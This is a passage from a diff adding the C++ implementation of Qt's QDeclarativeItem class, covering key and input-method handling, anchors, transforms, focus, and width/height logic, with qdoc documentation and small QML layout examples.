+ Q_D(QDeclarativeItem);
+ inputMethodPreHandler(event);
+ if (event->isAccepted())
+ return;
+ if (d->keyHandler)
+ d->keyHandler->inputMethodEvent(event, true);
+ else
+ event->ignore();
+}
+
+/*! \internal */
+QVariant QDeclarativeItem::inputMethodQuery(Qt::InputMethodQuery query) const
+{
+ Q_D(const QDeclarativeItem);
+ QVariant v;
+ if (d->keyHandler)
+ v = d->keyHandler->inputMethodQuery(query);
+
+ if (!v.isValid())
+ v = QGraphicsObject::inputMethodQuery(query);
+
+ return v;
+}
+
+/*!
+ \internal
+ */
+void QDeclarativeItem::keyPressPreHandler(QKeyEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ if (d->keyHandler && !d->doneEventPreHandler)
+ d->keyHandler->keyPressed(event, false);
+ else
+ event->ignore();
+ d->doneEventPreHandler = true;
+}
+
+/*!
+ \internal
+ */
+void QDeclarativeItem::keyReleasePreHandler(QKeyEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ if (d->keyHandler && !d->doneEventPreHandler)
+ d->keyHandler->keyReleased(event, false);
+ else
+ event->ignore();
+ d->doneEventPreHandler = true;
+}
+
+/*!
+ \internal
+ */
+void QDeclarativeItem::inputMethodPreHandler(QInputMethodEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ if (d->keyHandler && !d->doneEventPreHandler)
+ d->keyHandler->inputMethodEvent(event, false);
+ else
+ event->ignore();
+ d->doneEventPreHandler = true;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::left() const
+{
+ return anchorLines()->left;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::right() const
+{
+ return anchorLines()->right;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::horizontalCenter() const
+{
+ return anchorLines()->hCenter;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::top() const
+{
+ return anchorLines()->top;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::bottom() const
+{
+ return anchorLines()->bottom;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::verticalCenter() const
+{
+ return anchorLines()->vCenter;
+}
+
+
+/*!
+ \internal
+*/
+QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
+{
+ return anchorLines()->baseline;
+}
+
+/*!
+ \qmlproperty AnchorLine Item::anchors.top
+ \qmlproperty AnchorLine Item::anchors.bottom
+ \qmlproperty AnchorLine Item::anchors.left
+ \qmlproperty AnchorLine Item::anchors.right
+ \qmlproperty AnchorLine Item::anchors.horizontalCenter
+ \qmlproperty AnchorLine Item::anchors.verticalCenter
+ \qmlproperty AnchorLine Item::anchors.baseline
+
+ \qmlproperty Item Item::anchors.fill
+ \qmlproperty Item Item::anchors.centerIn
+
+ \qmlproperty real Item::anchors.margins
+ \qmlproperty real Item::anchors.topMargin
+ \qmlproperty real Item::anchors.bottomMargin
+ \qmlproperty real Item::anchors.leftMargin
+ \qmlproperty real Item::anchors.rightMargin
+ \qmlproperty real Item::anchors.horizontalCenterOffset
+ \qmlproperty real Item::anchors.verticalCenterOffset
+ \qmlproperty real Item::anchors.baselineOffset
+
+ \qmlproperty bool Item::anchors.mirrored
+
+ Anchors provide a way to position an item by specifying its
+ relationship with other items.
+
+ Margins apply to top, bottom, left, right, and fill anchors.
+ The \c anchors.margins property can be used to set all of the various margins at once, to the same value.
+ Note that margins are anchor-specific and are not applied if an item does not
+ use anchors.
+
+ Offsets apply for horizontal center, vertical center, and baseline anchors.
+
+ \table
+ \row
+ \o \image declarative-anchors_example.png
+ \o Text anchored to Image, horizontally centered and vertically below, with a margin.
+ \qml
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.horizontalCenter: pic.horizontalCenter
+ anchors.top: pic.bottom
+ anchors.topMargin: 5
+ // ...
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-anchors_example2.png
+ \o
+ Left of Text anchored to right of Image, with a margin. The y
+ property of both defaults to 0.
+
+ \qml
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.left: pic.right
+ anchors.leftMargin: 5
+ // ...
+ }
+ }
+ \endqml
+ \endtable
+
+ \c anchors.fill provides a convenient way for one item to have the
+ same geometry as another item, and is equivalent to connecting all
+ four directional anchors.
+
+ To clear an anchor value, set it to \c undefined.
+
+ \c anchors.mirrored returns true it the layout has been \l {LayoutMirroring}{mirrored}.
+
+ \note You can only anchor an item to siblings or a parent.
+
+ For more information see \l {anchor-layout}{Anchor Layouts}.
+*/
+
+/*!
+ \property QDeclarativeItem::baselineOffset
+ \brief The position of the item's baseline in local coordinates.
+
+ The baseline of a \l Text item is the imaginary line on which the text
+ sits. Controls containing text usually set their baseline to the
+ baseline of their text.
+
+ For non-text items, a default baseline offset of 0 is used.
+*/
+qreal QDeclarativeItem::baselineOffset() const
+{
+ Q_D(const QDeclarativeItem);
+ if (!d->baselineOffset.isValid()) {
+ return 0.0;
+ } else
+ return d->baselineOffset;
+}
+
+void QDeclarativeItem::setBaselineOffset(qreal offset)
+{
+ Q_D(QDeclarativeItem);
+ if (offset == d->baselineOffset)
+ return;
+
+ d->baselineOffset = offset;
+
+ for(int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::Geometry) {
+ QDeclarativeAnchorsPrivate *anchor = change.listener->anchorPrivate();
+ if (anchor)
+ anchor->updateVerticalAnchors();
+ }
+ }
+ emit baselineOffsetChanged(offset);
+}
+
+/*!
+ \qmlproperty real Item::rotation
+ This property holds the rotation of the item in degrees clockwise.
+
+ This specifies how many degrees to rotate the item around its transformOrigin.
+ The default rotation is 0 degrees (i.e. not rotated at all).
+
+ \table
+ \row
+ \o \image declarative-rotation.png
+ \o
+ \qml
+ Rectangle {
+ color: "blue"
+ width: 100; height: 100
+ Rectangle {
+ color: "red"
+ x: 25; y: 25; width: 50; height: 50
+ rotation: 30
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa transform, Rotation
+*/
+
+/*!
+ \qmlproperty real Item::scale
+ This property holds the scale of the item.
+
+ A scale of less than 1 means the item will be displayed smaller than
+ normal, and a scale of greater than 1 means the item will be
+ displayed larger than normal. A negative scale means the item will
+ be mirrored.
+
+ By default, items are displayed at a scale of 1 (i.e. at their
+ normal size).
+
+ Scaling is from the item's transformOrigin.
+
+ \table
+ \row
+ \o \image declarative-scale.png
+ \o
+ \qml
+ Rectangle {
+ color: "blue"
+ width: 100; height: 100
+ Rectangle {
+ color: "green"
+ width: 25; height: 25
+ }
+ Rectangle {
+ color: "red"
+ x: 25; y: 25; width: 50; height: 50
+ scale: 1.4
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa transform, Scale
+*/
+
+/*!
+ \qmlproperty real Item::opacity
+
+ This property holds the opacity of the item. Opacity is specified as a
+ number between 0 (fully transparent) and 1 (fully opaque). The default is 1.
+
+ When this property is set, the specified opacity is also applied
+ individually to child items. In almost all cases this is what you want,
+ but in some cases it may produce undesired results. For example in the
+ second set of rectangles below, the red rectangle has specified an opacity
+ of 0.5, which affects the opacity of its blue child rectangle even though
+ the child has not specified an opacity.
+
+ \table
+ \row
+ \o \image declarative-item_opacity1.png
+ \o
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_opacity2.png
+ \o
+ \qml
+ Item {
+ Rectangle {
+ opacity: 0.5
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \endtable
+
+ If an item's opacity is set to 0, the item will no longer receive mouse
+ events, but will continue to receive key events and will retain the keyboard
+ \l focus if it has been set. (In contrast, setting the \l visible property
+ to \c false stops both mouse and keyboard events, and also removes focus
+ from the item.)
+*/
+
+/*!
+ Returns a value indicating whether mouse input should
+ remain with this item exclusively.
+
+ \sa setKeepMouseGrab()
+ */
+bool QDeclarativeItem::keepMouseGrab() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->keepMouse;
+}
+
+/*!
+ The flag indicating whether the mouse should remain
+ with this item is set to \a keep.
+
+ This is useful for items that wish to grab and keep mouse
+ interaction following a predefined gesture. For example,
+ an item that is interested in horizontal mouse movement
+ may set keepMouseGrab to true once a threshold has been
+ exceeded. Once keepMouseGrab has been set to true, filtering
+ items will not react to mouse events.
+
+ If the item does not indicate that it wishes to retain mouse grab,
+ a filtering item may steal the grab. For example, Flickable may attempt
+ to steal a mouse grab if it detects that the user has begun to
+ move the viewport.
+
+ \sa keepMouseGrab()
+ */
+void QDeclarativeItem::setKeepMouseGrab(bool keep)
+{
+ Q_D(QDeclarativeItem);
+ d->keepMouse = keep;
+}
+
+/*!
+ \qmlmethod object Item::mapFromItem(Item item, real x, real y)
+
+ Maps the point (\a x, \a y), which is in \a item's coordinate system, to
+ this item's coordinate system, and returns an object with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps the point from the coordinate
+ system of the root QML view.
+*/
+
+/*!
+ Maps the point (\a x, \a y), which is in \a item's coordinate system, to
+ this item's coordinate system, and returns a script value with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps the point from the coordinate
+ system of the root QML view.
+
+ \sa Item::mapFromItem()
+*/
+QScriptValue QDeclarativeItem::mapFromItem(const QScriptValue &item, qreal x, qreal y) const
+{
+ QScriptValue sv = QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(this))->newObject();
+ QDeclarativeItem *itemObj = qobject_cast<QDeclarativeItem*>(item.toQObject());
+ if (!itemObj && !item.isNull()) {
+ qmlInfo(this) << "mapFromItem() given argument \"" << item.toString() << "\" which is neither null nor an Item";
+ return 0;
+ }
+
+ // If QGraphicsItem::mapFromItem() is called with 0, behaves the same as mapFromScene()
+ QPointF p = qobject_cast<QGraphicsItem*>(this)->mapFromItem(itemObj, x, y);
+ sv.setProperty(QLatin1String("x"), p.x());
+ sv.setProperty(QLatin1String("y"), p.y());
+ return sv;
+}
+
+/*!
+ \qmlmethod object Item::mapToItem(Item item, real x, real y)
+
+ Maps the point (\a x, \a y), which is in this item's coordinate system, to
+ \a item's coordinate system, and returns an object with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps \a x and \a y to the coordinate
+ system of the root QML view.
+*/
+
+/*!
+ Maps the point (\a x, \a y), which is in this item's coordinate system, to
+ \a item's coordinate system, and returns a script value with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps \a x and \a y to the coordinate
+ system of the root QML view.
+
+ \sa Item::mapToItem()
+*/
+QScriptValue QDeclarativeItem::mapToItem(const QScriptValue &item, qreal x, qreal y) const
+{
+ QScriptValue sv = QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(this))->newObject();
+ QDeclarativeItem *itemObj = qobject_cast<QDeclarativeItem*>(item.toQObject());
+ if (!itemObj && !item.isNull()) {
+ qmlInfo(this) << "mapToItem() given argument \"" << item.toString() << "\" which is neither null nor an Item";
+ return 0;
+ }
+
+ // If QGraphicsItem::mapToItem() is called with 0, behaves the same as mapToScene()
+ QPointF p = qobject_cast<QGraphicsItem*>(this)->mapToItem(itemObj, x, y);
+ sv.setProperty(QLatin1String("x"), p.x());
+ sv.setProperty(QLatin1String("y"), p.y());
+ return sv;
+}
+
+/*!
+ \qmlmethod Item::forceActiveFocus()
+
+ Forces active focus on the item.
+
+ This method sets focus on the item and makes sure that all the focus scopes
+ higher in the object hierarchy are also given the focus.
+*/
+
+/*!
+ Forces active focus on the item.
+
+ This method sets focus on the item and makes sure that all the focus scopes
+ higher in the object hierarchy are also given the focus.
+*/
+void QDeclarativeItem::forceActiveFocus()
+{
+ setFocus(true);
+ QGraphicsItem *parent = parentItem();
+ while (parent) {
+ if (parent->flags() & QGraphicsItem::ItemIsFocusScope)
+ parent->setFocus(Qt::OtherFocusReason);
+ parent = parent->parentItem();
+ }
+}
+
+
+/*!
+ \qmlmethod Item::childAt(real x, real y)
+
+ Returns the visible child item at point (\a x, \a y), which is in this
+ item's coordinate system, or \c null if there is no such item.
+*/
+
+/*!
+ Returns the visible child item at point (\a x, \a y), which is in this
+ item's coordinate system, or 0 if there is no such item.
+*/
+QDeclarativeItem *QDeclarativeItem::childAt(qreal x, qreal y) const
+{
+ const QList<QGraphicsItem *> children = childItems();
+ for (int i = children.count()-1; i >= 0; --i) {
+ if (QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i))) {
+ if (child->isVisible() && child->x() <= x
+ && child->x() + child->width() >= x
+ && child->y() <= y
+ && child->y() + child->height() >= y)
+ return child;
+ }
+ }
+ return 0;
+}
+
+void QDeclarativeItemPrivate::focusChanged(bool flag)
+{
+ Q_Q(QDeclarativeItem);
+ if (!(flags & QGraphicsItem::ItemIsFocusScope) && parent)
+ emit q->activeFocusChanged(flag); //see also QDeclarativeItemPrivate::subFocusItemChange()
+ emit q->focusChanged(flag);
+}
+
+QDeclarativeListProperty<QObject> QDeclarativeItemPrivate::resources()
+{
+ return QDeclarativeListProperty<QObject>(q_func(), 0, QDeclarativeItemPrivate::resources_append,
+ QDeclarativeItemPrivate::resources_count,
+ QDeclarativeItemPrivate::resources_at,
+ QDeclarativeItemPrivate::resources_clear
+ );
+}
+
+/*!
+ \qmlproperty list<State> Item::states
+ This property holds a list of states defined by the item.
+
+ \qml
+ Item {
+ states: [
+ State {
+ // ...
+ },
+ State {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+
+ \sa {qmlstate}{States}
+*/
+
+QDeclarativeListProperty<QDeclarativeState> QDeclarativeItemPrivate::states()
+{
+ return _states()->statesProperty();
+}
+
+/*!
+ \qmlproperty list<Transition> Item::transitions
+ This property holds a list of transitions defined by the item.
+
+ \qml
+ Item {
+ transitions: [
+ Transition {
+ // ...
+ },
+ Transition {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+
+ \sa {QML Animation and Transitions}{Transitions}
+*/
+
+
+QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transitions()
+{
+ return _states()->transitionsProperty();
+}
+
+/*
+ \qmlproperty list<Filter> Item::filter
+ This property holds a list of graphical filters to be applied to the item.
+
+ \l {Filter}{Filters} include things like \l {Blur}{blurring}
+ the item, or giving it a \l Reflection. Some
+ filters may not be available on all canvases; if a filter is not
+ available on a certain canvas, it will simply not be applied for
+ that canvas (but the QML will still be considered valid).
+
+ \qml
+ Item {
+ filter: [
+ Blur {
+ // ...
+ },
+ Reflection {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool Item::clip
+ This property holds whether clipping is enabled. The default clip value is \c false.
+
+ If clipping is enabled, an item will clip its own painting, as well
+ as the painting of its children, to its bounding rectangle.
+
+ Non-rectangular clipping regions are not supported for performance reasons.
+*/
+
+/*!
+ \property QDeclarativeItem::clip
+ This property holds whether clipping is enabled. The default clip value is \c false.
+
+ If clipping is enabled, an item will clip its own painting, as well
+ as the painting of its children, to its bounding rectangle. If you set
+ clipping during an item's paint operation, remember to re-set it to
+ prevent clipping the rest of your scene.
+
+ Non-rectangular clipping regions are not supported for performance reasons.
+*/
+
+/*!
+ \qmlproperty string Item::state
+
+ This property holds the name of the current state of the item.
+
+ This property is often used in scripts to change between states. For
+ example:
+
+ \js
+ function toggle() {
+ if (button.state == 'On')
+ button.state = 'Off';
+ else
+ button.state = 'On';
+ }
+ \endjs
+
+ If the item is in its base state (i.e. no explicit state has been
+ set), \c state will be a blank string. Likewise, you can return an
+ item to its base state by setting its current state to \c ''.
+
+ \sa {qmlstates}{States}
+*/
+
+QString QDeclarativeItemPrivate::state() const
+{
+ if (!_stateGroup)
+ return QString();
+ else
+ return _stateGroup->state();
+}
+
+void QDeclarativeItemPrivate::setState(const QString &state)
+{
+ _states()->setState(state);
+}
+
+/*!
+ \qmlproperty list<Transform> Item::transform
+ This property holds the list of transformations to apply.
+
+ For more information see \l Transform.
+*/
+
+/*! \internal */
+QDeclarativeListProperty<QGraphicsTransform> QDeclarativeItem::transform()
+{
+ Q_D(QDeclarativeItem);
+ return QDeclarativeListProperty<QGraphicsTransform>(this, 0, d->transform_append, d->transform_count,
+ d->transform_at, d->transform_clear);
+}
+
+/*!
+ \internal
+
+ classBegin() is called when the item is constructed, but its
+ properties have not yet been set.
+
+ \sa componentComplete(), isComponentComplete()
+*/
+void QDeclarativeItem::classBegin()
+{
+ Q_D(QDeclarativeItem);
+ d->componentComplete = false;
+ if (d->_stateGroup)
+ d->_stateGroup->classBegin();
+ if (d->_anchors)
+ d->_anchors->classBegin();
+}
+
+/*!
+ \internal
+
+ componentComplete() is called when all items in the component
+ have been constructed. It is often desirable to delay some
+ processing until the component is complete an all bindings in the
+ component have been resolved.
+*/
+void QDeclarativeItem::componentComplete()
+{
+ Q_D(QDeclarativeItem);
+ d->componentComplete = true;
+ if (d->_stateGroup)
+ d->_stateGroup->componentComplete();
+ if (d->_anchors) {
+ d->_anchors->componentComplete();
+ d->_anchors->d_func()->updateOnComplete();
+ }
+ if (d->keyHandler)
+ d->keyHandler->componentComplete();
+ if (d->_contents)
+ d->_contents->complete();
+}
+
+QDeclarativeStateGroup *QDeclarativeItemPrivate::_states()
+{
+ Q_Q(QDeclarativeItem);
+ if (!_stateGroup) {
+ _stateGroup = new QDeclarativeStateGroup;
+ if (!componentComplete)
+ _stateGroup->classBegin();
+ QObject::connect(_stateGroup, SIGNAL(stateChanged(QString)),
+ q, SIGNAL(stateChanged(QString)));
+ }
+
+ return _stateGroup;
+}
+
+QDeclarativeItemPrivate::AnchorLines::AnchorLines(QGraphicsObject *q)
+{
+ left.item = q;
+ left.anchorLine = QDeclarativeAnchorLine::Left;
+ right.item = q;
+ right.anchorLine = QDeclarativeAnchorLine::Right;
+ hCenter.item = q;
+ hCenter.anchorLine = QDeclarativeAnchorLine::HCenter;
+ top.item = q;
+ top.anchorLine = QDeclarativeAnchorLine::Top;
+ bottom.item = q;
+ bottom.anchorLine = QDeclarativeAnchorLine::Bottom;
+ vCenter.item = q;
+ vCenter.anchorLine = QDeclarativeAnchorLine::VCenter;
+ baseline.item = q;
+ baseline.anchorLine = QDeclarativeAnchorLine::Baseline;
+}
+
+QPointF QDeclarativeItemPrivate::computeTransformOrigin() const
+{
+ Q_Q(const QDeclarativeItem);
+
+ QRectF br = q->boundingRect();
+
+ switch(origin) {
+ default:
+ case QDeclarativeItem::TopLeft:
+ return QPointF(0, 0);
+ case QDeclarativeItem::Top:
+ return QPointF(br.width() / 2., 0);
+ case QDeclarativeItem::TopRight:
+ return QPointF(br.width(), 0);
+ case QDeclarativeItem::Left:
+ return QPointF(0, br.height() / 2.);
+ case QDeclarativeItem::Center:
+ return QPointF(br.width() / 2., br.height() / 2.);
+ case QDeclarativeItem::Right:
+ return QPointF(br.width(), br.height() / 2.);
+ case QDeclarativeItem::BottomLeft:
+ return QPointF(0, br.height());
+ case QDeclarativeItem::Bottom:
+ return QPointF(br.width() / 2., br.height());
+ case QDeclarativeItem::BottomRight:
+ return QPointF(br.width(), br.height());
+ }
+}
+
+/*! \internal */
+bool QDeclarativeItem::sceneEvent(QEvent *event)
+{
+ Q_D(QDeclarativeItem);
+ if (event->type() == QEvent::KeyPress) {
+ QKeyEvent *k = static_cast<QKeyEvent *>(event);
+ if ((k->key() == Qt::Key_Tab || k->key() == Qt::Key_Backtab) &&
+ !(k->modifiers() & (Qt::ControlModifier | Qt::AltModifier))) {
+ keyPressEvent(static_cast<QKeyEvent *>(event));
+ if (!event->isAccepted())
+ return QGraphicsItem::sceneEvent(event);
+ else
+ return true;
+ } else {
+ return QGraphicsItem::sceneEvent(event);
+ }
+ } else {
+ bool rv = QGraphicsItem::sceneEvent(event);
+
+ if (event->type() == QEvent::FocusIn ||
+ event->type() == QEvent::FocusOut) {
+ d->focusChanged(hasActiveFocus());
+ }
+ return rv;
+ }
+}
+
+/*!
+ \internal
+
+ Note that unlike QGraphicsItems, QDeclarativeItem::itemChange() is \e not called
+ during initial widget polishing. Items wishing to optimize start-up construction
+ should instead consider using componentComplete().
+*/
+QVariant QDeclarativeItem::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ Q_D(QDeclarativeItem);
+ switch (change) {
+ case ItemParentHasChanged:
+ d->resolveLayoutMirror();
+ emit parentChanged(parentItem());
+ d->parentNotifier.notify();
+ break;
+ case ItemVisibleHasChanged: {
+ for(int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::Visibility) {
+ change.listener->itemVisibilityChanged(this);
+ }
+ }
+ }
+ break;
+ case ItemOpacityHasChanged: {
+ for(int ii = 0; ii < d->changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::Opacity) {
+ change.listener->itemOpacityChanged(this);
+ }
+ }
+ }
+ break;
+ case ItemChildAddedChange:
+ if (d->_contents && d->componentComplete)
+ d->_contents->childAdded(qobject_cast<QDeclarativeItem*>(
+ value.value<QGraphicsItem*>()));
+ break;
+ case ItemChildRemovedChange:
+ if (d->_contents && d->componentComplete)
+ d->_contents->childRemoved(qobject_cast<QDeclarativeItem*>(
+ value.value<QGraphicsItem*>()));
+ break;
+ default:
+ break;
+ }
+
+ return QGraphicsItem::itemChange(change, value);
+}
+
+/*! \internal */
+QRectF QDeclarativeItem::boundingRect() const
+{
+ Q_D(const QDeclarativeItem);
+ return QRectF(0, 0, d->mWidth, d->mHeight);
+}
+
+/*!
+ \enum QDeclarativeItem::TransformOrigin
+
+ Controls the point about which simple transforms like scale apply.
+
+ \value TopLeft The top-left corner of the item.
+ \value Top The center point of the top of the item.
+ \value TopRight The top-right corner of the item.
+ \value Left The left most point of the vertical middle.
+ \value Center The center of the item.
+ \value Right The right most point of the vertical middle.
+ \value BottomLeft The bottom-left corner of the item.
+ \value Bottom The center point of the bottom of the item.
+ \value BottomRight The bottom-right corner of the item.
+*/
+
+/*!
+ Returns the current transform origin.
+*/
+QDeclarativeItem::TransformOrigin QDeclarativeItem::transformOrigin() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->origin;
+}
+
+/*!
+ Set the transform \a origin.
+*/
+void QDeclarativeItem::setTransformOrigin(TransformOrigin origin)
+{
+ Q_D(QDeclarativeItem);
+ if (origin != d->origin) {
+ d->origin = origin;
+ if (d->transformData)
+ QGraphicsItem::setTransformOriginPoint(d->computeTransformOrigin());
+ else
+ d->transformOriginDirty = true;
+ emit transformOriginChanged(d->origin);
+ }
+}
+
+void QDeclarativeItemPrivate::transformChanged()
+{
+ Q_Q(QDeclarativeItem);
+ if (transformOriginDirty) {
+ q->QGraphicsItem::setTransformOriginPoint(computeTransformOrigin());
+ transformOriginDirty = false;
+ }
+}
+
+/*!
+ \property QDeclarativeItem::smooth
+ \brief whether the item is smoothly transformed.
+
+ This property is provided purely for the purpose of optimization. Turning
+ smooth transforms off is faster, but looks worse; turning smooth
+ transformations on is slower, but looks better.
+
+ By default smooth transformations are off.
+*/
+
+/*!
+ Returns true if the item should be drawn with antialiasing and
+ smooth pixmap filtering, false otherwise.
+
+ The default is false.
+
+ \sa setSmooth()
+*/
+bool QDeclarativeItem::smooth() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->smooth;
+}
+
+/*!
+ Sets whether the item should be drawn with antialiasing and
+ smooth pixmap filtering to \a smooth.
+
+ \sa smooth()
+*/
+void QDeclarativeItem::setSmooth(bool smooth)
+{
+ Q_D(QDeclarativeItem);
+ if (d->smooth == smooth)
+ return;
+ d->smooth = smooth;
+ emit smoothChanged(smooth);
+ update();
+}
+
+/*!
+ \property QDeclarativeItem::anchors
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::left
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::right
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::horizontalCenter
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::top
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::bottom
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::verticalCenter
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::focus
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::transform
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::transformOrigin
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::activeFocus
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::baseline
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::data
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::resources
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::state
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::states
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::transformOriginPoint
+ \internal
+*/
+
+/*!
+ \property QDeclarativeItem::transitions
+ \internal
+*/
+
+/*!
+ \internal
+ Return the width of the item
+*/
+qreal QDeclarativeItem::width() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->width();
+}
+
+/*!
+ \internal
+ Set the width of the item
+*/
+void QDeclarativeItem::setWidth(qreal w)
+{
+ Q_D(QDeclarativeItem);
+ d->setWidth(w);
+}
+
+/*!
+ \internal
+ Reset the width of the item
+*/
+void QDeclarativeItem::resetWidth()
+{
+ Q_D(QDeclarativeItem);
+ d->resetWidth();
+}
+
+/*!
+ \internal
+ Return the width of the item
+*/
+qreal QDeclarativeItemPrivate::width() const
+{
+ return mWidth;
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeItemPrivate::setWidth(qreal w)
+{
+ Q_Q(QDeclarativeItem);
+ if (qIsNaN(w))
+ return;
+
+ widthValid = true;
+ if (mWidth == w)
+ return;
+
+ qreal oldWidth = mWidth;
+
+ q->prepareGeometryChange();
+ mWidth = w;
+
+ q->geometryChanged(QRectF(q->x(), q->y(), width(), height()),
+ QRectF(q->x(), q->y(), oldWidth, height()));
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeItemPrivate::resetWidth()
+{
+ Q_Q(QDeclarativeItem);
+ widthValid = false;
+ q->setImplicitWidth(q->implicitWidth());
+}
+
+void QDeclarativeItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeItem);
+ emit q->implicitWidthChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitWidth() const
+{
+ return mImplicitWidth;
+}
+
+/*!
+ Returns the width of the item that is implied by other properties that determine the content.
+*/
+qreal QDeclarativeItem::implicitWidth() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->implicitWidth();
+}
+
+/*!
+ Sets the implied width of the item to \a w.
+ This is the width implied by other properties that determine the content.
+*/
+void QDeclarativeItem::setImplicitWidth(qreal w)
+{
+ Q_D(QDeclarativeItem);
+ bool changed = w != d->mImplicitWidth;
+ d->mImplicitWidth = w;
+ if (d->mWidth == w || widthValid()) {
+ if (changed)
+ d->implicitWidthChanged();
+ return;
+ }
+
+ qreal oldWidth = d->mWidth;
+
+ prepareGeometryChange();
+ d->mWidth = w;
+
+ geometryChanged(QRectF(x(), y(), width(), height()),
+ QRectF(x(), y(), oldWidth, height()));
+
+ if (changed)
+ d->implicitWidthChanged();
+}
+
+/*!
+ Returns whether the width property has been set explicitly.
+*/
+bool QDeclarativeItem::widthValid() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->widthValid;
+}
+
+/*!
+ \internal
+ Return the height of the item
+*/
+qreal QDeclarativeItem::height() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->height();
+}
+
+/*!
+ \internal
+ Set the height of the item
+*/
+void QDeclarativeItem::setHeight(qreal h)
+{
+ Q_D(QDeclarativeItem);
+ d->setHeight(h);
+}
+
+/*!
+ \internal
+ Reset the height of the item
+*/
+void QDeclarativeItem::resetHeight()
+{
+ Q_D(QDeclarativeItem);
+ d->resetHeight();
+}
+
+/*!
+ \internal
+*/
+qreal QDeclarativeItemPrivate::height() const
+{
+ return mHeight;
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeItemPrivate::setHeight(qreal h)
+{
+ Q_Q(QDeclarativeItem);
+ if (qIsNaN(h))
+ return;
+
+ heightValid = true;
+ if (mHeight == h)
+ return;
+
+ qreal oldHeight = mHeight;
+
+ q->prepareGeometryChange();
+ mHeight = h;
+
+ q->geometryChanged(QRectF(q->x(), q->y(), width(), height()),
+ QRectF(q->x(), q->y(), width(), oldHeight));
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeItemPrivate::resetHeight()
+{
+ Q_Q(QDeclarativeItem);
+ heightValid = false;
+ q->setImplicitHeight(q->implicitHeight());
+}
+
+void QDeclarativeItemPrivate::implicitHeightChanged()
+{
+ Q_Q(QDeclarativeItem);
+ emit q->implicitHeightChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitHeight() const
+{
+ return mImplicitHeight;
+}
+
+/*!
+ Returns the height of the item that is implied by other properties that determine the content.
+*/
+qreal QDeclarativeItem::implicitHeight() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->implicitHeight();
+}
+
+/*!
+ \qmlproperty real Item::implicitWidth
+ \qmlproperty real Item::implicitHeight
+ \since QtQuick 1.1
+
